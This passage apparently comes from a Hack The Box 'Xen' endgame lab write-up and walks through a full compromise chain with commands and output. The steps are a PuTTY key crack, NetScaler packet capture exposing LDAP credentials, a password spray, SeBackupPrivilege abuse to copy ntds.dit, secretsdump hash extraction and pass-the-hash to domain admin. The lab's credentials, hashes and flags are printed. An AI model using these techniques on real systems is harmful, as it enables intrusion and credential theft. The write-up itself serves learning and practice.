I tried several wordlists, but without much luck. rockyou didn’t do it, even with rules. Eventually I found kwprocessor from the Hashcat team. It generates wordlists of keyboard walks.
I’ll clone it locally and use it to make a wordlist:
root@kali:/opt/kwprocessor# ./kwp basechars/full.base keymaps/en-us.keymap routes/2-to-16-max-3-direction-changes.route > ~/hackthebox/endgame-xen-10.13.38.12/keyboard_walks-2-to-16-3-direction
This generates over 65-thousand passwords:
root@kali# wc -l keyboard_walks-2-to-16-3-direction
65758 keyboard_walks-2-to-16-3-direction
I’ll pass it to john, and it breaks the key:
root@kali# john private.ppk.john -wordlist=keyboard_walks-2-to-26-3-direction
Using default input encoding: UTF-8
Loaded 1 password hash (PuTTY, Private Key (RSA/DSA/ECDSA/ED25519) [SHA1/AES 32/64])
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
=-09876567890-=- (private)
1g 0:00:00:00 DONE (2019-05-14 16:48) 4.000g/s 248832p/s 248832c/s 248832C/s 123456787654321q..23456789876543212
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Now puttygen will create SSH keys:
root@kali# puttygen private.ppk -O private-openssh -o private.pem -P
Enter passphrase to load key:
Enter passphrase to save key:
Re-enter passphrase to verify:
I’ll give it a blank password, which saves it unencrypted.
I’ll also make sure to change the permissions to 600 with chmod 600 private.pem.
Shell
Now I can SSH to .202. I tried SSH as the users I had, and as root, but it fails with each of those:
root@kali# proxychains ssh -i ~/id_private_xen.pem root@172.16.249.202
ProxyChains-3.1 (http://proxychains.sf.net)
###############################################################################
# #
# WARNING: Access to this system is for authorized users only #
# Disconnect IMMEDIATELY if you are not an authorized user! #
# #
###############################################################################
Password:
Some Googling led me to some documentation on NetScaler, and I noticed that it was always using the user nsroot. I tried that, and it worked:
root@kali# proxychains ssh -i ~/id_private_xen.pem nsroot@172.16.249.202
ProxyChains-3.1 (http://proxychains.sf.net)
###############################################################################
# #
# WARNING: Access to this system is for authorized users only #
# Disconnect IMMEDIATELY if you are not an authorized user! #
# #
###############################################################################
Enter passphrase for key '/root/id_private_xen.pem':
Last login: Wed May 8 23:23:15 2019 from 172.16.249.201
Done
>
I’m still at this Netscaler prompt, but this user has access to the shell command:
> shell
Copyright (c) 1992-2013 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
The Regents of the University of California. All rights reserved.
root@netscaler#
Network Capture
After looking around the box and finding not much of interest, I decided to see what kind of traffic might be flowing through the NetScaler device. I started tcpdump to capture full packets and exclude SSH activity. I’ll run it in the background, and watch the size, and once it gets big enough, kill the process:
root@netscaler# tcpdump -i 1 -w .d.pcap -s 0 'not tcp port 22' &
[1] 8574
tcpdump: listening on 0/1, link-type EN10MB (Ethernet), capture size 65535 bytes
root@netscaler# ls -l .d.pcap
-rw-r--r-- 1 root wheel 262144 May 17 06:04 .d.pcap
root@netscaler# kill 8574
root@netscaler# 2419 packets captured
2544 packets received by filter
0 packets dropped by kernel
[1]+ Done tcpdump -i 1 -w .d.pcap -s 0 'not tcp port 22'
I used scp to get the capture back to my box:
root@kali# proxychains scp -i ~/id_private_xen.pem nsroot@172.16.249.202:/tmp/.d/.d.pcap all.pcap
ProxyChains-3.1 (http://proxychains.sf.net)
###############################################################################
# #
# WARNING: Access to this system is for authorized users only #
# Disconnect IMMEDIATELY if you are not an authorized user! #
# #
###############################################################################
.d.pcap 100% 318KB 182.6KB/s 00:01
PCAP Analysis
Summary
Opening the PCAP in Wireshark, I’ll take a look at the summary statistic views. In addition to random high ports, there’s traffic on port 80 and 389.
The LDAP (389) traffic is between NetScaler and the DC, whereas the HTTP (80) is between this device and CITRIX:
HTTP
The HTTP traffic contains a POST request which includes a flag:
Camouflage: XEN{bu7_ld4p5_15_4_h455l3}
LDAP
The LDAP streams are all the same. Each one includes the same flag:
I can also drill down and get the LDAP creds for the netscaler-svc account as they are passed in plaintext:
Doppelgänger
Bloodhound
At this point I got a bit stuck and went back to basic enumeration. These creds didn’t seem to be buying me much. I had actually collected Bloodhound data back when I first got a foothold, but I hadn’t seen much in it. I did this by uploading the SharpHound.ps1 ingestor, and then running it:
On revisiting it now with the creds for netscaler-svc, I noticed there were a lot of svc (service) accounts:
Password Spray
Given the flag name of Doppelgänger, I did a password spray with this password on all the accounts. Today I would use crackmapexec to do this:
root@kali# proxychains crackmapexec smb 172.16.249.201 -u svc-accounts -p '#S3rvice#@cc' --continue-on-success
ProxyChains-3.1 (http://proxychains.sf.net)
SMB 172.16.249.201 445 CITRIX [*] Windows Server 2008 R2 Standard 7601 Service Pack 1 (name:CITRIX) (domain:htb.local) (signing:False) (SMBv1:True)
SMB 172.16.249.201 445 CITRIX [-] htb.local\app-svc:#S3rvice#@cc STATUS_LOGON_FAILURE
SMB 172.16.249.201 445 CITRIX [+] htb.local\backup-svc:#S3rvice#@cc
SMB 172.16.249.201 445 CITRIX [-] htb.local\test-svc:#S3rvice#@cc STATUS_LOGON_FAILURE
SMB 172.16.249.201 445 CITRIX [+] htb.local\netscaler-svc:#S3rvice#@cc
SMB 172.16.249.201 445 CITRIX [+] htb.local\mssql-svc:#S3rvice#@cc
SMB 172.16.249.201 445 CITRIX [+] htb.local\xenserver-svc:#S3rvice#@cc
SMB 172.16.249.201 445 CITRIX [+] htb.local\print-svc:#S3rvice#@cc
When I originally solved the lab, I used a Bash loop over the accounts with smbclient:
root@kali# for svc in app-svc backup-svc test-svc netscaler-svc mssql-svc xenserver-svc print-svc; do proxychains smbclient -U htb.local\\netscaler-svc%#S3rvice#@cc -L //172.16.249.201/ 2>/dev/null > /dev/null && echo "${svc}:#S3rvice#@cc worked"; done
app-svc:#S3rvice#@cc worked
backup-svc:#S3rvice#@cc worked
test-svc:#S3rvice#@cc worked
mssql-svc:#S3rvice#@cc worked
xenserver-svc:#S3rvice#@cc worked
Either way, it finds that five accounts use this weak service password.
RDP / WinRM Access
The Bloodhound data shows that backup-svc has rdp access to dc.htb.local:
I can connect with proxychains xfreerdp /u:backup-svc /p:#S3rvice#@cc /v:172.16.249.200 and get a desktop, and the next flag:
Some quick enum shows that this account can also connect over winrm (today I would use Evil-WinRM, but back then I used Alamot’s Ruby WinRM script):
root@kali# proxychains ruby winrm_shell_with_upload.rb
ProxyChains-3.1 (http://proxychains.sf.net)
PS htb\backup-svc@DC Documents> cd ..\desktop
PS htb\backup-svc@DC desktop> ls
Directory: C:\Users\backup-svc\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/31/2019 10:38 PM 27 flag.txt
PS htb\backup-svc@DC desktop> cat flag.txt
XEN{y_5h4r3d_p@55w0Rd5?}
Doppelgänger: XEN{y_5h4r3d_p@55w0Rd5?}
Owned
Enumeration
With a shell on the domain controller, the obvious next step is to try to get domain admin. My current access is through the svc-backup account:
*Evil-WinRM* PS C:\Users\backup-svc\Documents> net user backup-svc
User name backup-svc
Full Name backup-svc
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 3/2/2019 10:46:38 PM
Password expires Never
Password changeable 3/3/2019 10:46:38 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/17/2020 8:17:12 PM
Logon hours allowed All
Local Group Memberships *Backup Operators *Remote Desktop Users
*Remote Management Use
Global Group memberships *Domain Users
The command completed successfully.
The Backup Operators group is interesting for sure, as it provides the ability to read/write most files on the disk. This shows up in the form of SeBackupPrivilege and SeRestorePrivilege:
*Evil-WinRM* PS C:\Users\backup-svc\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Dump Hashes
Strategy
I want to get the ntds.dit file, which is the active directory database that stores all the hashes for the domain users. Unfortunately, even with SeBackupPrivilege, I can’t access ntds.dit on a live machine because it is in use. I’ll use a Microsoft tool, diskshadow to mount a shadow copy of the harddisk from which I can then copy the file. I’ll also need a tool that allows me to take advantage of the SeBackUpPrivilege.
Mount Disk
I’ll RDP into the DC and use diskshadow to create a shadow and mount it as u::
Backup Copy
This tool will allow me to use the SeBackupPrivilege to get to files that I otherwise can’t read. I’ll upload the two .dll files to the DC using WinRM, and then import them into PowerShell. Then I can use Copy-FileSeBackupPrivilege u:\Windows\ntds\ntds.dit [destination]
Exfil
The DC can’t talk directly to my Kali box.
I probably could have just used the WinRM upload / download capability, but for some reason I didn’t. Instead, I started a share on the workstation from Citrix, .203:
C:\programdata>net share df=c:\programdata /grant:everyone,FULL
net share df=c:\programdata /grant:everyone,FULL
df was shared successfully.
Then from the DC, I mounted that share:
PS htb\backup-svc@DC Documents> PS htb\backup-svc@DC Documents> net use \\172.16.249.203\df /user:htb\mturner 4install!
The command completed successfully.
Then I could proxychains access that share from my host.
Putting It All Together
Now with all that prepped, I copied ntds.dit and the SYSTEM hive to my share on .203, and then back to my host:
PS htb\backup-svc@DC system32> Copy-FileSeBackupPrivilege u:\Windows\ntds\ntds.dit \\172.16.249.203\df\ntds.dit
PS htb\backup-svc@DC system32> reg save hklm\system \\172.16.249.203\df\sys
I then used diskshadow to unmount the disk to cleanup.
Dump Hashes
With ntds.dit and system, I can use sercretsdump.py to get hashes:
root@kali# secretsdump.py -system system -ntds ntds.dit LOCAL
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] Target system bootKey: 0x6e398137ec7f2e204671dad7c778509f
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 4a62a0ac1475b54add921ac8c1b72e31
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:5e507509602e1b651759527b87b6c347:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3791ca8d70c9e1d2d2c7c5b5c7c253e8:::
CITRIX$:1103:aad3b435b51404eeaad3b435b51404ee:fd981d0c915932bb3ddf38b415c49121:::
htb.local\alarsson:1104:aad3b435b51404eeaad3b435b51404ee:92a44f1aa6259c55f9f514fabae5cc3f:::
htb.local\jmendes:1106:aad3b435b51404eeaad3b435b51404ee:10d0c05f7d958955f0eaf1479b5124a0:::
htb.local\pmorgan:1107:aad3b435b51404eeaad3b435b51404ee:8618ba932416a7404a854b250bf28577:::
htb.local\awardel:1108:aad3b435b51404eeaad3b435b51404ee:270e4d446437f4383b092b42a9f88f0a:::
VDESKTOP3$:1109:aad3b435b51404eeaad3b435b51404ee:e582f9b9d77dae6357bb574620b721ce:::
VDESKTOP2$:1110:aad3b435b51404eeaad3b435b51404ee:f583f9b5fc860b9ae21e482caaad0553:::
...[snip]...
All I really need is the first one, Administrator.
wmiexec
I used wmiexec.py to get a shell with the admin hash, and grab the last flag (Evil-WinRM would work as well):
root@kali# proxychains wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:822601ccd7155f47cd955b94af1558be administrator@172.16.249.200
ProxyChains-3.1 (http://proxychains.sf.net)
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb\administrator
C:\>cd users\administrator\desktop
C:\users\administrator\desktop>type flag.txt
XEN{d3r1v471v3_d0m41n_4dm1n}
Owned: XEN{d3r1v471v3_d0m41n_4dm1n}